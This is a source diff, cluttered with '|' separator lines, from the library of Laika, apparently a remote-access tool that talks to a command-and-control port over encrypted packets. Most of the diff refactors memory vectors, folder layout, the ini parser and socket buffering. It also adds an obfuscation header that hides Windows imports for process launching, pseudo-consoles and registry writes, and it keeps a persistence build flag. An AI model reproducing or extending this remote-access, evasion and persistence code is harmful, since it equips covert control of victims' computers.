uint64_t seed0, uint64_t seed1);
|
||||
|
||||
|
||||
// DEPRECATED: use `hashmap_new_with_allocator`
|
||||
void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*));
|
||||
|
||||
#endif
|
||||
@@ -11,7 +11,7 @@
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
# define LAIKA_DEBUG(...) \
|
||||
printf("[~] " __VA_ARGS__); \
|
||||
fflush(stdout);
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
||||
|
||||
/* settings */
|
||||
#cmakedefine LAIKA_DEBUG_BUILD
|
||||
#cmakedefine LAIKA_PERSISTENCE
|
||||
#cmakedefine LAIKA_OBFUSCATE
|
||||
|
||||
|
||||
@@ -1,46 +0,0 @@
|
||||
#ifndef LAIKA_MEM_H
|
||||
#define LAIKA_MEM_H
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#define GROW_FACTOR 2
|
||||
|
||||
/* microsoft strikes again with their lack of support for VLAs */
|
||||
#if _MSC_VER
|
||||
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
|
||||
# define ENDVLA(var) laikaM_free(var);
|
||||
#else
|
||||
# define VLA(type, var, sz) type var[sz];
|
||||
# define ENDVLA(var) ((void)0) /* no op */
|
||||
#endif
|
||||
|
||||
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
|
||||
}
|
||||
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i, _sz = ((count - indx) - numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx + _i] = buf[indx + numElem + _i]; \
|
||||
count -= numElem; \
|
||||
} while (0);
|
||||
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i - 1]; \
|
||||
count += numElem; \
|
||||
} while (0);
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz);
|
||||
|
||||
#endif
|
||||
46
lib/include/lobf.h
Normal file
46
lib/include/lobf.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#ifndef LAIKA_OBF_H
|
||||
#define LAIKA_OBF_H
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <process.h>
|
||||
# include <windows.h>
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
/* WINAPI types */
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
||||
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
||||
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
typedef LSTATUS(WINAPI *_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||||
typedef LSTATUS(WINAPI *_RegCloseKey)(HKEY);
|
||||
typedef LSTATUS(WINAPI *_RegSetValueExA)(HKEY, LPCSTR, DWORD, DWORD, const BYTE *, DWORD);
|
||||
typedef LSTATUS(WINAPI *_RegQueryValueExA)(HKEY, LPCSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
|
||||
extern _ShellExecuteA oShellExecuteA;
|
||||
extern _CreatePseudoConsole oCreatePseudoConsole;
|
||||
extern _ClosePseudoConsole oClosePseudoConsole;
|
||||
extern _CreateProcessA oCreateProcessA;
|
||||
extern _RegOpenKeyExA oRegOpenKeyExA;
|
||||
extern _RegCloseKey oRegCloseKey;
|
||||
extern _RegSetValueExA oRegSetValueExA;
|
||||
extern _RegQueryValueExA oRegQueryValueExA;
|
||||
#else
|
||||
|
||||
/* disabling obfuscation by macro magic :O */
|
||||
#define oShellExecuteA ShellExecuteA
|
||||
#define oCreatePseudoConsole CreatePseudoConsole
|
||||
#define oClosePseudoConsole ClosePseudoConsole
|
||||
#define oCreateProcessA CreateProcessA
|
||||
#define oRegOpenKeyExA RegOpenKeyExA
|
||||
#define oRegCloseKey RegCloseKey
|
||||
#define oRegSetValueExA RegSetValueExA
|
||||
#define oRegQueryValueExA RegQueryValueExA
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
||||
#endif
|
||||
@@ -1,6 +1,7 @@
|
||||
#ifndef LAIKA_PACKET_H
|
||||
#define LAIKA_PACKET_H
|
||||
|
||||
#include "lconfig.h"
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_MAGIC "LAI\x12"
|
||||
@@ -121,7 +122,7 @@ enum
|
||||
typedef uint8_t LAIKAPKT_ID;
|
||||
typedef uint16_t LAIKAPKT_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
||||
#endif
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
#ifndef LAIKA_PEER_H
|
||||
#define LAIKA_PEER_H
|
||||
|
||||
#include "core/lsodium.h"
|
||||
#include "laika.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "lsodium.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "net/lpolllist.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
typedef enum
|
||||
{
|
||||
@@ -1,9 +1,10 @@
|
||||
#ifndef LAIKA_POLLLIST_H
|
||||
#define LAIKA_POLLLIST_H
|
||||
|
||||
#include "hashmap.h"
|
||||
#include "core/hashmap.h"
|
||||
#include "core/lmem.h"
|
||||
#include "laika.h"
|
||||
#include "lsocket.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
@@ -20,22 +21,17 @@ struct sLaika_pollEvent
|
||||
struct sLaika_pollList
|
||||
{
|
||||
struct hashmap *sockets;
|
||||
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
|
||||
struct sLaika_pollEvent *revents;
|
||||
/* holds sockets which have data needed to be sent */
|
||||
laikaM_newVector(struct sLaika_socket *, outQueue);
|
||||
laikaM_newVector(struct sLaika_pollEvent, revents);
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* epoll */
|
||||
struct epoll_event ev, ep_events[MAX_EPOLL_EVENTS];
|
||||
SOCKET epollfd;
|
||||
#else
|
||||
/* raw poll descriptor */
|
||||
PollFD *fds;
|
||||
int fdCapacity;
|
||||
int fdCount;
|
||||
laikaM_newVector(PollFD, fds);
|
||||
#endif
|
||||
int reventCap;
|
||||
int reventCount;
|
||||
int outCap;
|
||||
int outCount;
|
||||
};
|
||||
|
||||
void laikaP_initPList(struct sLaika_pollList *pList);
|
||||
@@ -54,7 +54,8 @@ typedef void buffer_t;
|
||||
# define SOCKETERROR(x) (x == -1)
|
||||
#endif
|
||||
#include "laika.h"
|
||||
#include "lsodium.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "core/lmem.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
@@ -79,20 +80,14 @@ struct sLaika_socket
|
||||
pollEvent onPollIn;
|
||||
pollEvent onPollOut;
|
||||
void *uData; /* passed to onPollFail */
|
||||
uint8_t *outBuf; /* raw data to be sent() */
|
||||
uint8_t *inBuf; /* raw data we recv()'d */
|
||||
int outCount;
|
||||
int inCount;
|
||||
int outCap;
|
||||
int inCap;
|
||||
laikaM_newVector(uint8_t, outBuf); /* raw data to be sent() */
|
||||
laikaM_newVector(uint8_t, inBuf); /* raw data we recv()'d */
|
||||
bool flipEndian;
|
||||
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
||||
};
|
||||
|
||||
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
|
||||
|
||||
bool laikaS_isBigEndian(void);
|
||||
|
||||
void laikaS_init(void);
|
||||
void laikaS_cleanUp(void);
|
||||
|
||||
@@ -117,12 +112,12 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
|
||||
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
|
||||
size_t sz); /* reads INT, respecting endianness */
|
||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
|
||||
size_t sz); /* writes INT, respecting endianness */
|
||||
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i); /* writes UINT16, respecting endianness */
|
||||
uint16_t laikaS_readu16(struct sLaika_socket *sock); /* reads UINT16, respecting endianness */
|
||||
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i); /* writes UINT32, respecting endianness */
|
||||
uint32_t laikaS_readu32(struct sLaika_socket *sock); /* reads UINT32, respecting endianness */
|
||||
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||
|
||||
#endif
|
||||
@@ -1,4 +1,4 @@
|
||||
#include "obf.h"
|
||||
#include "lobf.h"
|
||||
|
||||
void laikaO_init()
|
||||
{
|
||||
1068
lib/src/core/hashmap.c
Normal file
1068
lib/src/core/hashmap.c
Normal file
File diff suppressed because it is too large
Load Diff
@@ -15,11 +15,11 @@ https://github.com/benhoyt/inih
|
||||
# define _CRT_SECURE_NO_WARNINGS
|
||||
#endif
|
||||
|
||||
#include <stdio.h>
|
||||
#include <ctype.h>
|
||||
#include <string.h>
|
||||
#include "core/ini.h"
|
||||
|
||||
#include "ini.h"
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#if !INI_USE_STACK
|
||||
# if INI_CUSTOM_ALLOCATOR
|
||||
@@ -39,7 +39,8 @@ void* ini_realloc(void* ptr, size_t size);
|
||||
#define MAX_NAME 50
|
||||
|
||||
/* Used by ini_parse_string() to keep track of string parsing state. */
|
||||
typedef struct {
|
||||
typedef struct
|
||||
{
|
||||
const char *ptr;
|
||||
size_t num_left;
|
||||
} ini_parse_string_ctx;
|
||||
@@ -94,8 +95,7 @@ static char* strncpy0(char* dest, const char* src, size_t size)
|
||||
}
|
||||
|
||||
/* See documentation in header file. */
|
||||
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
|
||||
void* user)
|
||||
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user)
|
||||
{
|
||||
/* Uses a fair bit of stack (use heap instead if you need to) */
|
||||
#if INI_USE_STACK
|
||||
@@ -158,8 +158,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
|
||||
|
||||
start = line;
|
||||
#if INI_ALLOW_BOM
|
||||
if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
|
||||
(unsigned char)start[1] == 0xBB &&
|
||||
if (lineno == 1 && (unsigned char)start[0] == 0xEF && (unsigned char)start[1] == 0xBB &&
|
||||
(unsigned char)start[2] == 0xBF) {
|
||||
start += 3;
|
||||
}
|
||||
@@ -188,13 +187,11 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
|
||||
if (!HANDLER(user, section, NULL, NULL) && !error)
|
||||
error = lineno;
|
||||
#endif
|
||||
}
|
||||
else if (!error) {
|
||||
} else if (!error) {
|
||||
/* No ']' found on section line */
|
||||
error = lineno;
|
||||
}
|
||||
}
|
||||
else if (*start) {
|
||||
} else if (*start) {
|
||||
/* Not a comment, must be a name[=:]value pair */
|
||||
end = find_chars_or_comment(start, "=:");
|
||||
if (*end == '=' || *end == ':') {
|
||||
@@ -213,8 +210,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
|
||||
strncpy0(prev_name, name, sizeof(prev_name));
|
||||
if (!HANDLER(user, section, name, value) && !error)
|
||||
error = lineno;
|
||||
}
|
||||
else if (!error) {
|
||||
} else if (!error) {
|
||||
/* No '=' or ':' found on name[=:]value line */
|
||||
#if INI_ALLOW_NO_VALUE
|
||||
*end = '\0';
|
||||
@@ -262,7 +258,8 @@ int ini_parse(const char* filename, ini_handler handler, void* user)
|
||||
|
||||
/* An ini_reader function to read the next line from a string buffer. This
|
||||
is the fgets() equivalent used by ini_parse_string(). */
|
||||
static char* ini_reader_string(char* str, int num, void* stream) {
|
||||
static char *ini_reader_string(char *str, int num, void *stream)
|
||||
{
|
||||
ini_parse_string_ctx *ctx = (ini_parse_string_ctx *)stream;
|
||||
const char *ctx_ptr = ctx->ptr;
|
||||
size_t ctx_num_left = ctx->num_left;
|
||||
@@ -288,11 +285,11 @@ static char* ini_reader_string(char* str, int num, void* stream) {
|
||||
}
|
||||
|
||||
/* See documentation in header file. */
|
||||
int ini_parse_string(const char* string, ini_handler handler, void* user) {
|
||||
int ini_parse_string(const char *string, ini_handler handler, void *user)
|
||||
{
|
||||
ini_parse_string_ctx ctx;
|
||||
|
||||
ctx.ptr = string;
|
||||
ctx.num_left = strlen(string);
|
||||
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler,
|
||||
user);
|
||||
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, user);
|
||||
}
|
||||
4
lib/src/core/lerror.c
Normal file
4
lib/src/core/lerror.c
Normal file
@@ -0,0 +1,4 @@
|
||||
#include "core/lerror.h"
|
||||
|
||||
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
|
||||
int eLaika_errIndx = -1;
|
||||
43
lib/src/core/lmem.c
Normal file
43
lib/src/core/lmem.c
Normal file
@@ -0,0 +1,43 @@
|
||||
#include "core/lmem.h"
|
||||
|
||||
#include "core/lerror.h"
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz)
|
||||
{
|
||||
void *newBuf;
|
||||
|
||||
/* are we free'ing the buffer? */
|
||||
if (sz == 0) {
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* if NULL is passed, realloc() acts like malloc() */
|
||||
if ((newBuf = realloc(buf, sz)) == NULL)
|
||||
LAIKA_ERROR("failed to allocate memory!\n");
|
||||
|
||||
return newBuf;
|
||||
}
|
||||
|
||||
bool laikaM_isBigEndian(void)
|
||||
{
|
||||
union
|
||||
{
|
||||
uint32_t i;
|
||||
uint8_t c[4];
|
||||
} _indxint = {0xDEADB33F};
|
||||
|
||||
return _indxint.c[0] == 0xDE;
|
||||
}
|
||||
|
||||
void laikaM_reverse(uint8_t *buf, size_t sz)
|
||||
{
|
||||
int k;
|
||||
|
||||
/* swap bytes, reversing the buffer */
|
||||
for (k = 0; k < (sz / 2); k++) {
|
||||
uint8_t tmp = buf[k];
|
||||
buf[k] = buf[sz - k - 1];
|
||||
buf[sz - k - 1] = tmp;
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
#include "lsodium.h"
|
||||
#include "core/lsodium.h"
|
||||
|
||||
#include <string.h>
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#include "ltask.h"
|
||||
#include "core/ltask.h"
|
||||
|
||||
#include "lmem.h"
|
||||
#include "core/lmem.h"
|
||||
|
||||
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
|
||||
the current time in ms also side note: microsoft? more like micropenis */
|
||||
1
lib/src/core/lvm.c
Normal file
1
lib/src/core/lvm.c
Normal file
@@ -0,0 +1 @@
|
||||
#include "core/lvm.h"
|
||||
@@ -1,4 +0,0 @@
|
||||
#include "lerror.h"
|
||||
|
||||
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
|
||||
int eLaika_errIndx = -1;
|
||||
@@ -1,20 +0,0 @@
|
||||
#include "lmem.h"
|
||||
|
||||
#include "lerror.h"
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz)
|
||||
{
|
||||
void *newBuf;
|
||||
|
||||
/* are we free'ing the buffer? */
|
||||
if (sz == 0) {
|
||||
free(buf);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* if NULL is passed, realloc() acts like malloc() */
|
||||
if ((newBuf = realloc(buf, sz)) == NULL)
|
||||
LAIKA_ERROR("failed to allocate memory!\n");
|
||||
|
||||
return newBuf;
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
#include "lvm.h"
|
||||
@@ -1,6 +1,6 @@
|
||||
#include "lpacket.h"
|
||||
#include "net/lpacket.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
||||
{
|
||||
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "lpeer.h"
|
||||
#include "net/lpeer.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
|
||||
struct sLaika_pollList *pList, pollFailEvent onPollFail,
|
||||
@@ -71,7 +71,7 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||
|
||||
laikaS_writeByte(sock, id);
|
||||
|
||||
peer->outStart = sock->outCount;
|
||||
peer->outStart = laikaM_countVector(sock->outBuf);
|
||||
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
|
||||
packet ID */
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
||||
@@ -88,26 +88,26 @@ int laikaS_endOutPacket(struct sLaika_peer *peer)
|
||||
|
||||
if (peer->useSecure) {
|
||||
/* make sure we have enough space */
|
||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount,
|
||||
sock->outCap);
|
||||
laikaM_growVector(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES);
|
||||
|
||||
/* packet body starts after the id & nonce */
|
||||
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
|
||||
/* encrypt packet body in-place */
|
||||
if (crypto_secretbox_easy(body, body,
|
||||
(sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
||||
(laikaM_countVector(sock->outBuf) - peer->outStart) -
|
||||
crypto_secretbox_NONCEBYTES,
|
||||
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
||||
LAIKA_ERROR("Failed to encrypt packet!\n");
|
||||
}
|
||||
|
||||
sock->outCount += crypto_secretbox_MACBYTES;
|
||||
laikaM_countVector(sock->outBuf) += crypto_secretbox_MACBYTES;
|
||||
}
|
||||
|
||||
/* add to pollList's out queue */
|
||||
laikaP_pushOutQueue(peer->pList, &peer->sock);
|
||||
|
||||
/* return packet size and prepare for next outPacket */
|
||||
sz = sock->outCount - peer->outStart;
|
||||
sz = laikaM_countVector(sock->outBuf) - peer->outStart;
|
||||
peer->outStart = -1;
|
||||
return sz;
|
||||
}
|
||||
@@ -148,30 +148,31 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
|
||||
if (peer->useSecure && !variadic && peer->pktSize != 0)
|
||||
peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
|
||||
peer->inStart = sock->inCount;
|
||||
peer->inStart = laikaM_countVector(sock->inBuf);
|
||||
}
|
||||
|
||||
int laikaS_endInPacket(struct sLaika_peer *peer)
|
||||
{
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
uint8_t *body;
|
||||
size_t sz = sock->inCount - peer->inStart;
|
||||
size_t sz = laikaM_countVector(sock->inBuf) - peer->inStart;
|
||||
|
||||
if (peer->useSecure && sz > crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES) {
|
||||
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
|
||||
|
||||
/* decrypt packet body in-place */
|
||||
if (crypto_secretbox_open_easy(
|
||||
body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
||||
if (crypto_secretbox_open_easy(body, body,
|
||||
(laikaM_countVector(sock->inBuf) - peer->inStart) -
|
||||
crypto_secretbox_NONCEBYTES,
|
||||
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
|
||||
LAIKA_ERROR("Failed to decrypt packet!\n");
|
||||
}
|
||||
|
||||
/* decrypted message is smaller now */
|
||||
sock->inCount -= crypto_secretbox_MACBYTES;
|
||||
laikaM_countVector(sock->inBuf) -= crypto_secretbox_MACBYTES;
|
||||
|
||||
/* remove nonce */
|
||||
laikaM_rmvarray(sock->inBuf, sock->inCount, peer->inStart, crypto_secretbox_NONCEBYTES);
|
||||
laikaM_rmvVector(sock->inBuf, peer->inStart, crypto_secretbox_NONCEBYTES);
|
||||
|
||||
sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES;
|
||||
}
|
||||
@@ -231,7 +232,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
|
||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
||||
|
||||
/* read packet size */
|
||||
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||
peer->pktSize = laikaS_readu16(&peer->sock);
|
||||
|
||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||
LAIKA_ERROR("variable packet too large!\n");
|
||||
@@ -254,18 +255,19 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
|
||||
default:
|
||||
_HandlePacketBody:
|
||||
/* try grabbing the rest of the packet */
|
||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - laikaM_countVector(peer->sock.inBuf),
|
||||
&recvd) != RAWSOCK_OK)
|
||||
return false;
|
||||
|
||||
/* have we received the full packet? */
|
||||
if (peer->pktSize == peer->sock.inCount) {
|
||||
if (peer->pktSize == laikaM_countVector(peer->sock.inBuf)) {
|
||||
peer->pktSize = laikaS_endInPacket(peer);
|
||||
|
||||
/* dispatch to packet handler */
|
||||
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
|
||||
|
||||
/* reset */
|
||||
peer->sock.inCount = 0;
|
||||
laikaM_countVector(peer->sock.inBuf) = 0;
|
||||
peer->pktID = LAIKAPKT_MAXNONE;
|
||||
}
|
||||
|
||||
@@ -280,10 +282,10 @@ bool laikaS_handlePeerOut(struct sLaika_socket *sock)
|
||||
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||
int sent;
|
||||
|
||||
if (peer->sock.outCount == 0) /* sanity check */
|
||||
if (laikaM_countVector(peer->sock.outBuf) == 0) /* sanity check */
|
||||
return true;
|
||||
|
||||
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
|
||||
switch (laikaS_rawSend(&peer->sock, laikaM_countVector(peer->sock.outBuf), &sent)) {
|
||||
case RAWSOCK_OK: /* we're ok! */
|
||||
/* if POLLOUT was set, unset it */
|
||||
laikaP_rmvPollOut(peer->pList, &peer->sock);
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "lpolllist.h"
|
||||
#include "net/lpolllist.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
|
||||
/* ===================================[[ Helper Functions ]]==================================== */
|
||||
|
||||
@@ -34,12 +34,10 @@ void laikaP_initPList(struct sLaika_pollList *pList)
|
||||
/* setup hashmap */
|
||||
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
|
||||
elem_compare, NULL, NULL);
|
||||
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
|
||||
pList->reventCap = POLLSTARTCAP / GROW_FACTOR;
|
||||
pList->reventCount = 0;
|
||||
pList->outQueue = NULL;
|
||||
pList->outCap = POLLSTARTCAP / GROW_FACTOR;
|
||||
pList->outCount = 0;
|
||||
|
||||
/* laikaP_pollList() will allocate these buffer */
|
||||
laikaM_initVector(pList->revents, POLLSTARTCAP / GROW_FACTOR);
|
||||
laikaM_initVector(pList->outQueue, POLLSTARTCAP / GROW_FACTOR);
|
||||
|
||||
#ifdef LAIKA_USE_EPOLL
|
||||
/* setup our epoll */
|
||||
@@ -48,11 +46,8 @@ void laikaP_initPList(struct sLaika_pollList *pList)
|
||||
LAIKA_ERROR("epoll_create() failed!\n");
|
||||
|
||||
#else
|
||||
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
|
||||
pList->fdCapacity =
|
||||
POLLSTARTCAP /
|
||||
GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
|
||||
pList->fdCount = 0;
|
||||
/* laikaP_addSock will allocate this buffer */
|
||||
laikaM_initVector(pList->fds, POLLSTARTCAP / GROW_FACTOR);
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -85,8 +80,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
|
||||
#else
|
||||
/* allocate space in array & add PollFD */
|
||||
laikaM_growarray(PollFD, pList->fds, 1, pList->fdCount, pList->fdCapacity);
|
||||
pList->fds[pList->fdCount++] = (PollFD){sock->sock, POLLIN};
|
||||
laikaM_growVector(PollFD, pList->fds, 1);
|
||||
pList->fds[laikaM_countVector(pList->fds)++] = (PollFD){sock->sock, POLLIN};
|
||||
#endif
|
||||
}
|
||||
|
||||
@@ -98,9 +93,9 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
hashmap_delete(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
|
||||
|
||||
/* make sure peer isn't in outQueue */
|
||||
for (i = 0; i < pList->outCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
|
||||
if ((void *)pList->outQueue[i] == (void *)sock) {
|
||||
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
|
||||
laikaM_rmvVector(pList->outQueue, i, 1);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -114,10 +109,10 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||
#else
|
||||
|
||||
/* search fds for socket, remove it and shrink array */
|
||||
for (i = 0; i < pList->fdCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
|
||||
if (pList->fds[i].fd == sock->sock) {
|
||||
/* remove from array */
|
||||
laikaM_rmvarray(pList->fds, pList->fdCount, i, 1);
|
||||
laikaM_rmvVector(pList->fds, i, 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -140,7 +135,7 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
||||
int i;
|
||||
|
||||
/* search fds for socket, add POLLOUT flag */
|
||||
for (i = 0; i < pList->fdCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
|
||||
if (pList->fds[i].fd == sock->sock) {
|
||||
pList->fds[i].events = POLLIN | POLLOUT;
|
||||
break;
|
||||
@@ -167,7 +162,7 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
||||
int i;
|
||||
|
||||
/* search fds for socket, remove POLLOUT flag */
|
||||
for (i = 0; i < pList->fdCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->fds); i++) {
|
||||
if (pList->fds[i].fd == sock->sock) {
|
||||
pList->fds[i].events = POLLIN;
|
||||
break;
|
||||
@@ -183,18 +178,18 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so
|
||||
int i;
|
||||
|
||||
/* first, check that we don't have this peer in the queue already */
|
||||
for (i = 0; i < pList->outCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(pList->outQueue); i++) {
|
||||
if (pList->outQueue[i] == sock)
|
||||
return; /* found it :) */
|
||||
}
|
||||
|
||||
laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap);
|
||||
pList->outQueue[pList->outCount++] = sock;
|
||||
laikaM_growVector(struct sLaika_socket *, pList->outQueue, 1);
|
||||
pList->outQueue[laikaM_countVector(pList->outQueue)++] = sock;
|
||||
}
|
||||
|
||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList)
|
||||
{
|
||||
pList->outCount = 0; /* ez lol */
|
||||
laikaM_countVector(pList->outQueue) = 0; /* ez lol */
|
||||
}
|
||||
|
||||
void laikaP_flushOutQueue(struct sLaika_pollList *pList)
|
||||
